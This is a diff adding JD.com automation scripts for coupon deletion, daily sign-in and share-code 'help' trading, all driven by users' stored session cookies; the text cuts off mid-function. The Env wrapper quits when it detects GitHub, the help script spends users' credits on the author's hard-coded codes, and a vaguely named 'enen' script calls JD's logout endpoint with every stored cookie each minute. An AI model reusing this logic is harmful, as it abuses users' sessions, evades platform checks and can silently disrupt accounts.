showMsg(); + } + } +})().catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') +}).finally(() => { + $.done(); +}) + +function delCoupon(couponId, couponTitle) { + return new Promise(resolve => { + const options = { + url: `https://wq.jd.com/activeapi/deletecouponlistwithfinance?couponinfolist=${couponId}&_=${Date.now()}&sceneval=2&g_login_type=1&callback=jsonpCBKC&g_ty=ls`, + headers: { + 'authority': 'wq.jd.com', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'accept': '*/*', + 'referer': 'https://wqs.jd.com/', + 'accept-language': 'zh-CN,zh;q=0.9,en;q=0.8', + 'cookie': cookie + } + } + $.get(options, (err, resp, data) => { + try { + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.retcode === 0) { + console.log(`删除优惠券---${couponTitle}----成功\n`); + delCount++; + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function getCoupon() { + return new Promise(resolve => { + let states = ['1', '6'] + for (let s = 0; s < states.length; s++) { + let options = { + url: `https://wq.jd.com/activeapi/queryjdcouponlistwithfinance?state=${states[s]}&wxadd=1&filterswitch=1&_=${Date.now()}&sceneval=2&g_login_type=1&callback=jsonpCBKB&g_ty=ls`, + headers: { + 'authority': 'wq.jd.com', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'accept': '*/*', + 'referer': 'https://wqs.jd.com/', + 'accept-language': 'zh-CN,zh;q=0.9,en;q=0.8', + 'cookie': cookie + } + } + $.get(options, async (err, resp, data) => { + try { + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + let couponTitle = '' + let couponId = '' + if (states[s] === '6') { + // 删除已过期 + let expire = data['coupon']['expired'] + for (let i = 0; i < expire.length; i++) { + couponTitle = expire[i].couponTitle + couponId = escape(`${expire[i].couponid},1,0`); + await delCoupon(couponId, couponTitle) + } + // 删除已使用 + let used = data['coupon']['used'] + for (let i = 0; i < used.length; i++) { + couponTitle = used[i].couponTitle + couponId = escape(`${used[i].couponid},0,0`); + await delCoupon(couponId, couponTitle) + } + } else if (states[s] === '1') { + // 删除可使用且非超市、生鲜、京贴 + let useable = data.coupon.useable + for (let i = 0; i < useable.length; i++) { + couponTitle = useable[i].limitStr + couponId = escape(`${useable[i].couponid},1,0`); + if (!isJDCoupon(couponTitle)) { + await delCoupon(couponId, couponTitle) + } else { + $.log(`跳过删除:${couponTitle}`) + hasKeyword++; + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + } + }) +} + +function isJDCoupon(title) { + if (title.indexOf('京东') > -1) + return true + else if (title.indexOf('超市') > -1) + return true + else if (title.indexOf('京贴') > -1) + return true + else if (title.indexOf('全品类') > -1) + return true + else if (title.indexOf('话费') > -1) + return true + else if (title.indexOf('小鸽有礼') > -1) + return true + else if (title.indexOf('旗舰店') > -1) + return false + else if (title.indexOf('生鲜') > -1) + return true + else + return false +} + +function showMsg() { + if (!jdNotify || jdNotify === 'false') { + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName}\n【已删除优惠券】${delCount}张\n【跳过含关键词】${hasKeyword}张`); + } else { + $.log(`\n【京东账号${$.index}】${$.nickName}\n【已删除优惠券】${delCount}张\n【跳过含关键词】${hasKeyword}张`); + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/backUp/jd_enen.ts b/backUp/jd_enen.ts new file mode 100644 index 0000000000..af9daff8a5 --- /dev/null +++ b/backUp/jd_enen.ts @@ -0,0 +1,31 @@ +/** + * enen + * cron: * * * * * + */ + +import axios from "axios"; +import USER_AGENT, {requireConfig} from "../TS_USER_AGENTS"; + +let cookie: string = '', UserName: string, index: number; + +!(async () => { + let cookiesArr: any = await requireConfig(); + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + index = i + 1; + console.log(`\n开始【京东账号${index}】${UserName}\n`); + + axios.get('https://plogin.m.jd.com/cgi-bin/ml/mlogout?appid=300&returnurl=https%3A%2F%2Fm.jd.com%2F', { + headers: { + 'authority': 'plogin.m.jd.com', + "User-Agent": USER_AGENT, + 'cookie': cookie + } + }).then((res: any) => { + console.log(1) + }).catch((e: any) => { + console.log(0) + }) + } +})() diff --git a/backUp/jd_jxgc_help.ts b/backUp/jd_jxgc_help.ts new file mode 100644 index 0000000000..e0b0b40df8 --- /dev/null +++ b/backUp/jd_jxgc_help.ts @@ -0,0 +1,103 @@ +/** + * cron: 5 * * * * + */ + +import axios from 'axios'; +import {requireConfig, wait, requestAlgo, h5st} from '../TS_USER_AGENTS'; +import {jxfactory} from "../utils/shareCodesTool"; + +let cookie: string = '', res: any = '', UserName: string, index: number; +let shareCodes: string[] = [], shareCodesInternal: string[] = [], empCookie: string[] = [], HELP_HW: string = process.env.HELP_HW ?? "true"; +let HW_CODE = ['INcGtFWIUwvLFFvpQtKFCQ==', 'AZV37CNsgm_Q9Xid7tt-eA==', 'K6AGuw2dq_U2kEpg4mTmHQ==', 'c3anbYUBmLe9Qh1TIM4dEg==', 'zfzxrqaM7n3s4FhUZQmA8Q==']; +console.log('帮助HelloWorld:', HELP_HW) + +interface Params { + name?: string, + sharepin?: string +} + +!(async () => { + await requestAlgo(); + let cookiesArr: any = await requireConfig(); + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + index = i + 1; + console.log(`\n开始【京东账号${index}】${UserName}\n`); + + let sharecode = await jxfactory(cookie) + console.log('助力码:', sharecode) + shareCodesInternal.push(sharecode) + + res = await api('friend/QueryFriendList', '_time,zone') + console.log('收到助力:', res.data.hireListToday.length, '/', res.data.hireNumMax) + if (res.data.assistListToday.length !== 3) { + // 只要有剩余助力的 + empCookie.push(cookie) + } + } + + console.log('\n内部助力码:', shareCodesInternal, '\n') + + for (let emp of empCookie) { + cookie = emp + let empName: string = decodeURIComponent(emp.match(/pt_pin=([^;]*)/)![1]) + let sharecode = await jxfactory(emp) + + await getShareCodes() + + for (let boss of shareCodes) { + if (sharecode === boss) { + console.log('不给自己助力') + } else { + console.log(`${empName}给${boss}助力`) + res = await api('friend/AssistFriend', '_time,sharepin,zone', {sharepin: boss}) + if (res.ret === 0) { + console.log('助力成功') + break + } else if (res.ret === 11009) { + console.log('助力失败:', res.msg) + break + } else { + console.log('助力失败:', res.msg) + } + await wait(3000) + } + } + console.log('') + } +})() + +function api(fn: string, stk: string, params: Params = {}) { + return new Promise(async (resolve, reject) => { + let url = `https://m.jingxi.com/dreamfactory/${fn}?zone=dream_factory&_time=${Date.now()}&_stk=${encodeURIComponent(stk)}&_ste=1&_=${Date.now()}&sceneval=2` + url = h5st(url, stk, params, 10001) + try { + let {data} = await axios.get(url, { + headers: { + 'Cookie': cookie, + 'Host': 'm.jingxi.com', + 'User-Agent': 'jdpingou;', + 'Referer': 'https://actst.jingxi.com/pingou/dream_factory/index.html', + } + }) + resolve(data) + } catch (e) { + reject(401) + } + }) +} + +async function getShareCodes() { + try { + let {data}: any = await axios.get(`https://api.jdsharecode.xyz/api/jxfactory/30`) + console.log(`从助力池获取到30个:${JSON.stringify(data.data)}`) + HELP_HW === 'true' + ? shareCodes = Array.from(new Set([...shareCodesInternal, ...HW_CODE, ...data.data])) + : shareCodes = Array.from(new Set([...shareCodesInternal, ...data.data])) + } catch (e) { + HELP_HW === 'true' + ? shareCodes = Array.from(new Set([...shareCodesInternal, ...HW_CODE])) + : shareCodes = Array.from(new Set([...shareCodesInternal])) + } +} \ No newline at end of file diff --git a/backUp/jd_kd.js b/backUp/jd_kd.js new file mode 100644 index 0000000000..4d9553d430 --- /dev/null +++ b/backUp/jd_kd.js @@ -0,0 +1,160 @@ +/* +京东快递签到 +活动入口:https://jingcai-h5.jd.com/#/ +签到领豆,14天内满4次和7次享额外奖励,每天运行一次即可 +更新地址:jd_kd.js + +已支持IOS双京东账号, Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东快递签到 +10 0 * * * jd_kd.js, tag=京东快递签到, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_kd.png, enabled=true + +================Loon============== +[Script] +cron "10 0 * * *" script-path=jd_kd.js, tag=京东快递签到 + +===============Surge================= +京东快递签到 = type=cron,cronexp="10 0 * * *",wake-system=1,timeout=3600,script-path=jd_kd.js + +============小火箭========= +京东快递签到 = type=cron,script-path=jd_kd.js, cronexpr="10 0 * * *", timeout=3600, enable=true + */ +const $ = new Env('京东快递签到'); + +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const randomCount = $.isNode() ? 20 : 5; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message, allMsg = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/api'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = $.UserName; + message = ''; + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + await userSignIn(); + // await showMsg(); + } + } + if (allMsg) { + $.msg($.name, '', allMsg); + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function showMsg() { + return new Promise(resolve => { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} +function userSignIn() { + return new Promise(resolve => { + $.post(taskUrl(), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(resp) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 1) { + console.log(`今日签到成功,获得${data.content[0].title}`) + message += `京东账号${$.index}${$.nickName}\n今日签到成功,获得${data.content[0].title} 🐶\n`; + allMsg += message; + } else if (data.code === -1) { + console.log(`今日已签到`) + // message += `【签到】失败,今日已签到`; + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function taskUrl() { + return { + url: `https://lop-proxy.jd.com/jiFenApi/signInAndGetReward`, + body: '[{"userNo":"$cooMrdGatewayUid$"}]', + headers: { + 'Host': 'lop-proxy.jd.com', + 'lop-dn': 'jingcai.jd.com', + 'biz-type': 'service-monitor', + 'app-key': 'jexpress', + 'access': 'H5', + 'content-type': 'application/json;charset=utf-8', + 'clientinfo': '{"appName":"jingcai","client":"m"}', + 'accept': 'application/json, text/plain, */*', + 'jexpress-report-time': '1607330170578', + 'x-requested-with': 'XMLHttpRequest', + 'source-client': '2', + 'appparams': '{"appid":158,"ticket_type":"m"}', + 'version': '1.0.0', + 'origin': 'https://jingcai-h5.jd.com', + 'sec-fetch-site': 'same-site', + 'sec-fetch-mode': 'cors', + 'sec-fetch-dest': 'empty', + 'referer': 'https://jingcai-h5.jd.com/', + 'accept-language': 'zh-CN,zh;q=0.9', + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else 